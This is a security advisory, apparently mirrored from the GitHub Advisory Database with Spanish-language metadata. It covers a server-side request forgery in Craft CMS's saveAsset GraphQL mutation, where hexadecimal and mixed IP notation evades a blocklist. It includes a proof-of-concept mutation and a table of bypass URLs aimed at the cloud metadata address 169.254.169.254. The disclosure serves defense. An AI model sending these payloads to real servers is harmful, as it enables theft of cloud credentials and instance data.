Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation
I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.
Summary
The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.
Proof of Concept
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "http://169.254.0xa9fe/latest/meta-data/"
filename: "metadata.txt"
}) {
id
}
}
- The IP validation passes (hex notation not recognized as IP)
- Guzzle resolves
169.254.0xa9feto169.254.169.254 - Cloud metadata is fetched and saved
Alternative Payloads
| Payload | Notation | Resolves To |
|---|---|---|
http://169.254.0xa9fe/ |
Mixed (decimal + hex) | 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ |
Full hex dotted | 169.254.169.254 |
http://0xa9fea9fe/ |
Single hex integer | 169.254.169.254 |
Technical Details
File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | craftcms/cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | 5.8.22, 4.16.18 |
Referencias
- https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m
- https://nvd.nist.gov/vuln/detail/CVE-2026-25494
- https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Debilidad (CWE)
CWE-918- Plataforma
- Composer
- Paquete
craftcms/cms- Publicada
- 09.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-m5r2-8p9x-hp5m - CC BY 4.0
Historial de vulnerabilidades: craftcms/cms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 127
- Primera → última
- 07.2021 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 4
Distribución por gravedad
- Crítica 9
- Alta 41
- Media 65
- Baja 12
Divulgaciones por año
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
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Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation esta entrada
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